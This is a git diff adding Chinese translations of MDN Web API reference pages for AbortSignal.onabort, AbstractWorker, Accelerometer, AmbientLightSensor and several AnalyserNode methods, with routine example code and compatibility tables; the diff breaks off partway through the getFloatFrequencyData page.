+ + diff --git a/files/zh-cn/web/api/abortsignal/onabort/index.html b/files/zh-cn/web/api/abortsignal/onabort/index.html new file mode 100644 index 0000000000..e72dd94c4a --- /dev/null +++ b/files/zh-cn/web/api/abortsignal/onabort/index.html @@ -0,0 +1,61 @@ +--- +title: AbortSignal.onabort +slug: Web/API/AbortSignal/onabort +tags: + - API + - Fetch + - onabort + - 事件处理 + - 属性 + - 测试 + - 终止属性 +translation_of: Web/API/AbortSignal/onabort +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +
当事件被{{event("abort_(cancellable_fetch)", "终止")}},{{domxref("FetchSignal")}}接口的onabort 只读属性就会被调用。例子.当fetch的请求信号被终止。
+ +

语法

+ +
abortSignal.onabort = function() { ... };
+ +

示例

+ +

在下面例子中, 我们将创建一个新的 AbortController 对象,并获取它的{{domxref("AbortSignal")}} (在 signal 属性中可用)。然后我们查看 onabort 属性是否被终止,并将相应的日志输出到控制台。

+ +
var controller = new AbortController();
+var signal = controller.signal;
+
+signal.onabort = function() {
+  console.log('Request aborted');
+};
+
+ +

规格

+ + + + + + + + + + + + + + +
规格状态标注
{{SpecName('DOM WHATWG', '#dom-abortsignal-aborted', 'onabort')}}{{Spec2('DOM WHATWG')}}初始定义
+ +

浏览器兼容性

+ + + +

{{Compat("api.AbortSignal.onabort")}}

+ +

参考文档

+ + diff --git a/files/zh-cn/web/api/abstractworker/index.html b/files/zh-cn/web/api/abstractworker/index.html new file mode 100644 index 0000000000..53ee348af9 --- /dev/null +++ b/files/zh-cn/web/api/abstractworker/index.html @@ -0,0 +1,87 @@ +--- +title: AbstractWorker +slug: Web/API/AbstractWorker +tags: + - API + - AbstractWorker + - Interface + - Reference + - SharedWorker + - Web Workers + - Worker +translation_of: Web/API/AbstractWorker +--- +

{{ APIRef("Web Workers API") }}

+ +

 Web Workers API 的 AbstractWorker 接口是一个定义适用于所有类型 worker 属性和方法的抽象接口,包括基础的 {{domxref("Worker")}},{{domxref("ServiceWorker")}} 以及 {{domxref("SharedWorker")}}。作为一个抽象类,你不能直接使用 AbstractWorker

+ +

属性

+ +

AbstractWorker 接口不会继承任何属性。

+ +

事件处理函数

+ +
+
{{domxref("AbstractWorker.onerror")}}
+
当 worker 中出现 {{domxref("ErrorEvent")}} 类型的错误时,{{ domxref("EventListener") }} 就会被调用。
+
+ +

方法

+ +

AbstractWorker 接口不会实现或继承任何方法。

+ +

例子

+ +

作为一个抽象类接口,你不应该在代码中直接使用 AbstractWorker 接口。取而代之,你应该使用 {{domxref("Worker")}} 或 {{domxref("SharedWorker")}},这两者都继承了 AbstractWorker 的属性。

+ +

下面的一小段代码是展示如何使用 {{domxref("Worker.Worker", "Worker()")}} 构造函数构造 {{domxref("Worker")}} 对象并使用它:

+ +
var myWorker = new Worker("worker.js");
+
+first.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}
+ +

worker 的代码会从 "worker.js" 文件被加载。代码假设这里已经有一个现成的 {{HTMLElement("input")}} 元素且由 first 表示;设置了一个用于 {{event("change")}} 事件的事件处理函数,所以当用户更改 first 的值时,一个提示信息会被提交且通知到 worker。

+ +

完整的例子,请看:

+ + + +

相关规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "#abstractworker", "AbstractWorker")}}{{Spec2("HTML WHATWG")}}No change from {{SpecName("Web Workers")}}.
+ +


+ 浏览器兼容性

+ +

{{Compat("api.AbstractWorker")}}

+ +
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/abstractworker/onerror/index.html b/files/zh-cn/web/api/abstractworker/onerror/index.html new file mode 100644 index 0000000000..2fd61e2ccc --- /dev/null +++ b/files/zh-cn/web/api/abstractworker/onerror/index.html @@ -0,0 +1,73 @@ +--- +title: AbstractWorker.onerror +slug: Web/API/AbstractWorker/onerror +tags: + - API + - AbstractWorker + - EventHandler + - Property + - Reference + - Web Workers + - Workers + - onerror +translation_of: Web/API/AbstractWorker/onerror +--- +

{{ APIRef("Web Workers API") }}

+ +

概述

+ +

{{domxref("AbstractWorker")}}接口的onerror特性是一个事件句柄,在 {{domxref("Worker")}}的{{event("error")}}事件触发并冒泡时执行。

+ +

语法

+ +
myWorker.onerror = function() { ... };
+ +

示例

+ +

下面的代码片段展示了通过 Worker() 创建 Worker 对象的过程, 以及设置onerror回调函数:

+ +
var myWorker = new Worker("worker.js");
+
+myWorker.onerror = function() {
+  console.log('There is an error with your worker!');
+}
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#handler-abstractworker-onerror", "AbstractWorker.onerror")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("Web Workers")}}.
{{SpecName('Web Workers', "#handler-abstractworker-onerror", "AbstractWorker.onerror")}}{{Spec2('Web Workers')}}Initial definition.
+ +

浏览器兼容性

+ +
+

{{Compat("api.AbstractWorker.onerror")}}

+ +

试图加载跨域 Worker 的错误差异

+ +

早期浏览器会抛出 SecurityError,在规范变更后,则是  {{event("error")}} 事件。具体见 Loading cross-origin worker now fires error event instead of throwing; worker in sandboxed iframe no longer allowed.

+
+ +
 
+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/accelerometer/index.html b/files/zh-cn/web/api/accelerometer/index.html new file mode 100644 index 0000000000..51b5e7aa87 --- /dev/null +++ b/files/zh-cn/web/api/accelerometer/index.html @@ -0,0 +1,71 @@ +--- +title: Accelerometer +slug: Web/API/Accelerometer +translation_of: Web/API/Accelerometer +--- +
{{APIRef("Generic Sensor API")}}
+ +

The Accelerometer interface of the Sensor APIs provides on each reading the acceleration applied to the device along all three axes.

+ +

To use this sensor, the user must grant permission to the 'accelerometer', device sensor through the Permissions API.

+ +

If a feature policy blocks the use of a feature, it is because your code is inconsistent with the policies set on your server. This is not something that would ever be shown to a user. See {{httpheader('Feature-Policy')}} for implementation instructions.

+ +

Constructor

+ +
+
{{domxref("Accelerometer.Accelerometer()")}}
+
Creates a new Accelerometer object.
+
+ +

Properties

+ +
+
{{domxref('Accelerometer.x')}} {{readonlyinline}}
+
Returns a double containing the acceleration of the device along the device's x axis.
+
{{domxref('Accelerometer.y')}} {{readonlyinline}}
+
Returns a double containing the acceleration of the device along the device's y axis.
+
{{domxref('Accelerometer.z')}} {{readonlyinline}}
+
Returns a double containing the acceleration of the device along the device's z axis.
+
+ +

Example

+ +

Acceleration is typically read in the {{domxref('Sensor.onreading')}} event callback. In the example below this occurs sixty times a second.

+ +
let accelerometer = new Accelerometer({frequency: 60});
+
+accelerometer.addEventListener('reading', e => {
+  console.log("Acceleration along the X-axis " + accelerometer.x);
+  console.log("Acceleration along the Y-axis " + accelerometer.y);
+  console.log("Acceleration along the Z-axis " + accelerometer.z);
+});
+accelerometer.start();
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Generic Sensor')}}{{Spec2('Generic Sensor')}}Defines sensors in general.
{{SpecName('Accelerometer','#accelerometer-interface','Accelerometer')}}{{Spec2('Accelerometer')}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.Accelerometer")}}

diff --git a/files/zh-cn/web/api/ambientlightsensor/ambientlightsensor/index.html b/files/zh-cn/web/api/ambientlightsensor/ambientlightsensor/index.html new file mode 100644 index 0000000000..2796585693 --- /dev/null +++ b/files/zh-cn/web/api/ambientlightsensor/ambientlightsensor/index.html @@ -0,0 +1,96 @@ +--- +title: AmbientLightSensor.AmbientLightSensor() +slug: Web/API/AmbientLightSensor/AmbientLightSensor +translation_of: Web/API/AmbientLightSensor/AmbientLightSensor +--- +

{{APIRef("Ambient Light Sensor API")}}{{Non-standard_header}}

+ +

通过 AmbinentLightSensor() 构造函数可以创建一个 {{domxref("AmbientLightSensor")}} 的实例.

+ +

语法

+ +
var ambientLightSensor = new AmbientLightSensor(options)
+ +

参数

+ +
+
options {{optional_inline}}
+
以下是设置属性: +
    +
  • frequency:  TBD
  • +
+
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('AmbientLight','#dom-ambientlightsensor-ambientlightsensor','AmbinentLightSensor()')}}{{Spec2('AmbientLight')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(54.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(54.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(54.0)}}
+
diff --git a/files/zh-cn/web/api/ambientlightsensor/index.html b/files/zh-cn/web/api/ambientlightsensor/index.html new file mode 100644 index 0000000000..9210b449ac --- /dev/null +++ b/files/zh-cn/web/api/ambientlightsensor/index.html @@ -0,0 +1,97 @@ +--- +title: AmbientLightSensor +slug: Web/API/AmbientLightSensor +translation_of: Web/API/AmbientLightSensor +--- +

{{SeeCompatTable}}{{APIRef("Ambient Light Sensor API")}}

+ +

环境光传感器API的``AmbientLightSensor``返回一个用于访问{{domxref('AmbientLightSensorReading')}}的接口。

+ +

实例

+ +
+
{{domxref("AmbientLightSensor.AmbientLightSensor()")}}
+
创建一个新的 AmbientLightSensor 对象.
+
+ +

属性

+ +
+
{{domxref('AmbientLightSensor.reading')}}
+
返回一个 {{domxref('AmbientLightSensorReading')}} 接口, 包含当前光的亮度级别。
+
+ +

Examples

+ +
// TBD
+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('AmbientLight','#ambient-light-sensor-interface','AmbientLightSensor')}}{{Spec2('AmbientLight')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(54.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(54.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(54.0)}}
+
diff --git a/files/zh-cn/web/api/ambientlightsensor/reading/index.html b/files/zh-cn/web/api/ambientlightsensor/reading/index.html new file mode 100644 index 0000000000..1315b971b7 --- /dev/null +++ b/files/zh-cn/web/api/ambientlightsensor/reading/index.html @@ -0,0 +1,93 @@ +--- +title: reading +slug: Web/API/AmbientLightSensor/reading +translation_of: Web/API/AmbientLightSensor/illuminance +--- +

{{SeeCompatTable}}{{APIRef("Ambient Light Sensor API")}}

+ +

{{domxref("AmbientLightSensor")}} 接口的 read-only 属性 reading 返回一个访问 {{domxref('AmbientLightSensorReading')}} 的接口, 包含当前的光亮级别。

+ +

语法

+ +
var sensorReading = AmbientLightLevel.reading
+ +

返回值

+ +

{{domxref('AmbientLightSensorReading')}} 接口.

+ +

用例

+ +
// TBD
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('AmbientLight')}}{{Spec2('AmbientLight')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(54.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(54.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(54.0)}}
+
diff --git a/files/zh-cn/web/api/analysernode/analysernode/index.html b/files/zh-cn/web/api/analysernode/analysernode/index.html new file mode 100644 index 0000000000..acc1b2e7a6 --- /dev/null +++ b/files/zh-cn/web/api/analysernode/analysernode/index.html @@ -0,0 +1,59 @@ +--- +title: AnalyserNode.AnalyserNode() +slug: Web/API/AnalyserNode/AnalyserNode +translation_of: Web/API/AnalyserNode/AnalyserNode +--- +

{{APIRef("'Web Audio API'")}}

+ +

The AnalyserNode constructor of the Web Audio API creates a new {{domxref("AnalyserNode")}} object instance.

+ +

Syntax

+ +
var analyserNode = new AnalyserNode(context, options)
+ +

参数

+ +

继承参数自 {{domxref("AudioNodeOptions")}} 字典.

+ +
+
context
+
{{domxref("AudioContext")}} 的引用.
+
options {{optional_inline}}
+
Options are as follows: +
    +
  • fftSize: 用于频域分析的FFT初始尺寸。默认值是2048。
  • +
  • maxDecibels: 用于FFT分析的初始最大功率(dB)。默认值是-30。
  • +
  • minDecibels: 用于FFT分析的初始最小功率(dB)。默认值是-100。
  • +
  • smoothingTimeConstant: 用于FFT分析的初始平滑常数。默认值是0.8。
  • +
+
+
+ +

返回值

+ +

A new {{domxref("AnalyserNode")}} object instance.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API','#the-analysernode-interface','AnalyserNode')}}{{Spec2('Web Audio API')}}Initial definition.
+ +

Browser Compatibility

+ +
+ + +

{{Compat("api.AnalyserNode.AnalyserNode")}}

+
diff --git a/files/zh-cn/web/api/analysernode/fft/index.html b/files/zh-cn/web/api/analysernode/fft/index.html new file mode 100644 index 0000000000..f553738351 --- /dev/null +++ b/files/zh-cn/web/api/analysernode/fft/index.html @@ -0,0 +1,7 @@ +--- +title: Directory failure 目录失效 +slug: Web/API/AnalyserNode/fft +--- +

目录失效

+ +

Directory failure

diff --git a/files/zh-cn/web/api/analysernode/fftsize/index.html b/files/zh-cn/web/api/analysernode/fftsize/index.html new file mode 100644 index 0000000000..5ce7d04462 --- /dev/null +++ b/files/zh-cn/web/api/analysernode/fftsize/index.html @@ -0,0 +1,162 @@ +--- +title: AnalyserNode.fftSize +slug: Web/API/AnalyserNode/fftSize +translation_of: Web/API/AnalyserNode/fftSize +--- +

{{ APIRef("Web Audio API") }}

+ +

{{ domxref("AnalyserNode") }} 接口的 fftSize 属性的值是一个无符号长整型的值, 表示(信号)样本的窗口大小。当执行快速傅里叶变换(Fast Fourier Transfor (FFT))时,这些(信号)样本被用来获取频域数据。

+ +

fftSize 属性的值必须是从32到32768范围内的2的非零幂; 其默认值为2048.

+ +
+

注意: 如果其值不是2的幂, 或者它在指定范围之外, 则抛出异常INDEX_SIZE_ERR.

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var analyser = audioCtx.createAnalyser();
+analyser.fftSize = 2048;
+
+ +

+ +

一个无符号长整型.

+ +

例子

+ +

下面的例子展示了 AudioContext 创建一个 AnalyserNode, 然后用 requestAnimationFrame 和 <canvas> 去反复收集当前音频的时域数据, 并绘制为一个示波器风格的输出(频谱).

+ +

更多的例子/信息, 查看 Voice-change-O-matic 演示 (相关代码在 app.js 在 128行~205行).

+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var analyser = audioCtx.createAnalyser();
+
+  ...
+
+analyser.fftSize = 2048;
+var bufferLength = analyser.fftSize;
+var dataArray = new Uint8Array(bufferLength);
+analyser.getByteTimeDomainData(dataArray);
+
+// draw an oscilloscope of the current audio source
+
+function draw() {
+
+      drawVisual = requestAnimationFrame(draw);
+
+      analyser.getByteTimeDomainData(dataArray);
+
+      canvasCtx.fillStyle = 'rgb(200, 200, 200)';
+      canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+
+      canvasCtx.lineWidth = 2;
+      canvasCtx.strokeStyle = 'rgb(0, 0, 0)';
+
+      canvasCtx.beginPath();
+
+      var sliceWidth = WIDTH * 1.0 / bufferLength;
+      var x = 0;
+
+      for(var i = 0; i < bufferLength; i++) {
+
+        var v = dataArray[i] / 128.0;
+        var y = v * HEIGHT/2;
+
+        if(i === 0) {
+          canvasCtx.moveTo(x, y);
+        } else {
+          canvasCtx.lineTo(x, y);
+        }
+
+        x += sliceWidth;
+      }
+
+      canvasCtx.lineTo(canvas.width, canvas.height/2);
+      canvasCtx.stroke();
+    };
+
+    draw();
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AnalyserNode-fftSize', 'fftSize')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

相关内容

+ + diff --git a/files/zh-cn/web/api/analysernode/frequencybincount/index.html b/files/zh-cn/web/api/analysernode/frequencybincount/index.html new file mode 100644 index 0000000000..5ddcd887de --- /dev/null +++ b/files/zh-cn/web/api/analysernode/frequencybincount/index.html @@ -0,0 +1,141 @@ +--- +title: AnalyserNode.frequencyBinCount +slug: Web/API/AnalyserNode/frequencyBinCount +translation_of: Web/API/AnalyserNode/frequencyBinCount +--- +

{{ APIRef("Web Audio API") }}

+ +

frequencyBinCount 的值固定为 {{ domxref("AnalyserNode") }} 接口中fftSize值的一半. 该属性通常用于可视化的数据值的数量.

+ +

语法

+ +
var audioCtx = new AudioContext();
+var analyser = audioCtx.createAnalyser();
+var bufferLength = analyser.frequencyBinCount;
+
+ +

值类型

+ +

无符号长整形(unsigned long).

+ +

例子

+ +

下面的例子展示了 AudioContext 创建一个 AnalyserNode, 然后用 requestAnimationFrame 和 <canvas> 去反复收集频率数据, 并绘制为一个柱状风格的输出(频谱).

+ +

更多的例子/信息, 查看 Voice-change-O-matic 演示 (相关代码在 app.js 的 128行~205行).

+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var analyser = audioCtx.createAnalyser();
+analyser.minDecibels = -90;
+analyser.maxDecibels = -10;
+
+  ...
+
+analyser.fftSize = 256;
+var bufferLength = analyser.frequencyBinCount;
+console.log(bufferLength);
+var dataArray = new Uint8Array(bufferLength);
+
+canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);
+
+function draw() {
+  drawVisual = requestAnimationFrame(draw);
+
+  analyser.getByteFrequencyData(dataArray);
+
+  canvasCtx.fillStyle = 'rgb(0, 0, 0)';
+  canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+
+  var barWidth = (WIDTH / bufferLength) * 2.5;
+  var barHeight;
+  var x = 0;
+
+  for(var i = 0; i < bufferLength; i++) {
+    barHeight = dataArray[i];
+
+    canvasCtx.fillStyle = 'rgb(' + (barHeight+100) + ',50,50)';
+    canvasCtx.fillRect(x,HEIGHT-barHeight/2,barWidth,barHeight/2);
+
+    x += barWidth + 1;
+  }
+};
+
+draw();
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AnalyserNode-frequencyBinCount', 'frequencyBinCount')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

相关内容

+ + diff --git a/files/zh-cn/web/api/analysernode/getbytefrequencydata/index.html b/files/zh-cn/web/api/analysernode/getbytefrequencydata/index.html new file mode 100644 index 0000000000..a16460525b --- /dev/null +++ b/files/zh-cn/web/api/analysernode/getbytefrequencydata/index.html @@ -0,0 +1,151 @@ +--- +title: AnalyserNode.getByteFrequencyData() +slug: Web/API/AnalyserNode/getByteFrequencyData +translation_of: Web/API/AnalyserNode/getByteFrequencyData +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AnalyserNode") }}接口的getByteFrequencyData()方法将当前频率数据复制到传入的Uint8Array(无符号字节数组)中。

+ +

如果数组的长度小于 {{domxref("AnalyserNode.frequencyBinCount")}}, 那么Analyser多出的元素会被删除. 如果是大于, 那么数组多余的元素会被忽略.

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var analyser = audioCtx.createAnalyser();
+var dataArray = new Uint8Array(analyser.frequencyBinCount); // Uint8Array 的长度应该和 frequencyBinCount 相等
+analyser.getByteFrequencyData(dataArray); // 调用 getByteFrequencyData 方法填充 Uint8Array
+
+ +

返回值

+ +

一个 {{domxref("Uint8Array")}}(无符号字节数组).

+ +

例子

+ +

下面的例子展示了 {{domxref("AudioContext")}} 创建一个 AnalyserNode, 然后用 {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} 和 {{htmlelement("canvas")}} 去反复收集当前音频的频率数据, 并绘制为一个柱状风格的输出(频谱).

+ +

更多的例子/信息, 查看 Voice-change-O-matic 演示 (相关代码在 app.js 的 128行~205行).

+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var analyser = audioCtx.createAnalyser();
+
+  ...
+
+analyser.fftSize = 256;
+var bufferLength = analyser.frequencyBinCount;
+console.log(bufferLength);
+var dataArray = new Uint8Array(bufferLength);
+
+canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);
+
+function draw() {
+  drawVisual = requestAnimationFrame(draw);
+
+  analyser.getByteFrequencyData(dataArray);
+
+  canvasCtx.fillStyle = 'rgb(0, 0, 0)';
+  canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+
+  var barWidth = (WIDTH / bufferLength) * 2.5;
+  var barHeight;
+  var x = 0;
+
+  for(var i = 0; i < bufferLength; i++) {
+    barHeight = dataArray[i];
+
+    canvasCtx.fillStyle = 'rgb(' + (barHeight+100) + ',50,50)';
+    canvasCtx.fillRect(x,HEIGHT-barHeight/2,barWidth,barHeight/2);
+
+    x += barWidth + 1;
+  }
+};
+
+draw();
+ +

参数

+ +
+
array (数组)
+
必须为{{domxref("Uint8Array")}}, 频域数据将复制到该数组内.
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AnalyserNode-getByteFrequencyData-void-Uint8Array-array', 'getByteFrequencyData()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

相关内容

+ + diff --git a/files/zh-cn/web/api/analysernode/getbytetimedomaindata/index.html b/files/zh-cn/web/api/analysernode/getbytetimedomaindata/index.html new file mode 100644 index 0000000000..780df8f29d --- /dev/null +++ b/files/zh-cn/web/api/analysernode/getbytetimedomaindata/index.html @@ -0,0 +1,111 @@ +--- +title: AnalyserNode.getByteTimeDomainData() +slug: Web/API/AnalyserNode/getByteTimeDomainData +translation_of: Web/API/AnalyserNode/getByteTimeDomainData +--- +

{{ APIRef("Mountain View APIRef Project") }}

+ +

{{ domxref("AnalyserNode") }} 接口的 getByteTimeDomainData() 方法复制当前波形或时域数据到传递给它的  {{domxref("Uint8Array")}} (无符号字节数组) 中。

+ +

如果该数组的元素少于 {{domxref("AnalyserNode.fftSize")}}, 多余的元素会被丢弃。如果它有多于所需的元素,则忽略多余的元素。

+ +

语法

+ +
var audioCtx = new AudioContext();
+var analyser = audioCtx.createAnalyser();
+var dataArray = new Uint8Array(analyser.fftSize); // Uint8Array should be the same length as the fftSize
+analyser.getByteTimeDomainData(dataArray); // fill the Uint8Array with data returned from getByteTimeDomainData()
+
+ +

参数

+ +
+
array
+
时域数据将被复制到的 {{domxref("Uint8Array")}} 。
+ 如果数组中的元素少于 {{domxref("AnalyserNode.frequencyBinCount")}}, 则会删除多余的元素。如果它包含的元素多于需要的元素,则忽略多余的元素。
+
+ +

返回值

+ +

void | None

+ +

例子

+ +

以下的例子展示了 {{domxref("AudioContext")}} 生成一个 AnalyserNode 基础用法, 然后通过 {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} 和 {{htmlelement("canvas")}} 重复的收集和绘制一个当前音频输入的“示波器样式”输出。 有关更完整的应用实例/信息,请查看我们的 Voice-change-O-matic demo (有关代码请参阅 app.js lines 128–205)。

+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var analyser = audioCtx.createAnalyser();
+
+  ...
+
+analyser.fftSize = 2048;
+var bufferLength = analyser.frequencyBinCount;
+var dataArray = new Uint8Array(bufferLength);
+analyser.getByteTimeDomainData(dataArray);
+
+// draw an oscilloscope of the current audio source
+
+function draw() {
+
+      drawVisual = requestAnimationFrame(draw);
+      analyser.getByteTimeDomainData(dataArray);
+
+      canvasCtx.fillStyle = 'rgb(200, 200, 200)';
+      canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+
+      canvasCtx.lineWidth = 2;
+      canvasCtx.strokeStyle = 'rgb(0, 0, 0)';
+
+      var sliceWidth = WIDTH * 1.0 / bufferLength;
+      var x = 0;
+
+      ctx.beginPath();
+      for(var i = 0; i < bufferLength; i++) {
+        let v = dataArray[i]/128.0,
+            y = v * HEIGHT/2;
+
+        if(i === 0)
+          canvasCtx.moveTo(x, y);
+        else
+          canvasCtx.lineTo(x, y);
+
+        x += sliceWidth;
+      }
+
+      canvasCtx.lineTo(canvas.width, canvas.height/2);
+      canvasCtx.stroke();
+    };
+
+    draw();
+
+ +

规格

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AnalyserNode-getByteTimeDomainData-void-Uint8Array-array', 'getByteTimeDomainData()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.AnalyserNode.getByteTimeDomainData")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/analysernode/getfloatfrequencydata/index.html b/files/zh-cn/web/api/analysernode/getfloatfrequencydata/index.html new file mode 100644 index 0000000000..6ff2d5d1a3 --- /dev/null +++ b/files/zh-cn/web/api/analysernode/getfloatfrequencydata/index.html @@ -0,0 +1,142 @@ +--- +title: AnalyserNode.getFloatFrequencyData() +slug: Web/API/AnalyserNode/getFloatFrequencyData +translation_of: Web/API/AnalyserNode/getFloatFrequencyData +--- +

{{ APIRef("Web Audio API") }}

+ +
+

getFloatFrequencyData() 作为{{domxref("AnalyserNode")}} 接口的方法能将当前分析节点(AnalyserNode)的频率数据拷贝进一个 {{domxref("Float32Array")}} 数组对象.

+ +

此数组表示的频率范围为 0 ~ 22050 Hz,每个元素表示对应频率上的信号分量强度,单位为分贝。

+ +

如果你需要更好的性能并且不太在意数据的精度, 你可以使用 {{domxref("AnalyserNode.getByteFrequencyData()")}} 作为代替, 这一接口使用 {{domxref("Uint8Array")}}来存储数据(对应的也是这个精度的格式).

+
+ +

语法

+ +
void analyser.getFloatFrequencyData(array);
+
+ +

参数

+ +
+
array
+
你即将用于拷贝频域数据(frequency domain data)的 {{domxref("Float32Array")}} 数组. 对于任何无声的样本, 它的值应该是 -Infinity.
+ 如果这一数组的可容纳元素数少于该分析节点的{{domxref("AnalyserNode.frequencyBinCount")}}值, 超出容量的数据元素将被舍弃. 而如果容量多于需要,多余的数组元素将不会被操作.
+
+ +

返回值

+ +

无返回值.

+ +

示例

+ +
const audioCtx = new AudioContext();
+const analyser = audioCtx.createAnalyser();
+// Float32Array的长度应该和frequencyBinCount相同
+const myDataArray = new Float32Array(analyser.frequencyBinCount);
+// 用getFloatFrequencyData()方法的返回数据填充Float32Array数组
+analyser.getFloatFrequencyData(myDataArray);
+
+ +

例:绘制一个频谱

+ +

